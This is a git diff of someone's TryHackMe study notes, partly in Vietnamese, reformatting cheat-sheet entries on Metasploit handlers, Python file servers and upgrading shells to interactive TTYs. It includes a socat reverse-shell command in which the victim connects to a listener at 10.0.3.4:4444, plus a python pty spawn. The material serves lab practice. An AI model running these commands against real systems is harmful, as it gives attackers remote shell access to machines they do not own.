diff --git a/Tryhackme/Readme b/Tryhackme/Readme index cfd62ab..819c8db 100644 --- a/Tryhackme/Readme +++ b/Tryhackme/Readme @@ -60,9 +60,9 @@ Sử dụng module "exploit/multi/handler" TẠO RA MỘT WEBSERVER SỬ DỤNG PYTHON Python cung cấp module SimpleHTTPServer để biến directory hiện tại thành một webserver cho phép trao đổi file với địa chỉ IP của của máy. -• python2 +• python2 python -m SimpleHTTPServer -• python3 +• python3 python3 -m http.server ******* Port mặc định nếu không được khai báo là 8000 ****** @@ -70,14 +70,16 @@ Python cung cấp module SimpleHTTPServer để biến directory hiện tại th UPGRADING SIMPLE SHELLS TO FULLY INTERACTIVE TTYs -• using python +• using python python -c 'import pty; pty.spawn("/bin/bash")' -• using socat + +• using socat #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 -• using stty options + +• using stty options # In reverse shell $ python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z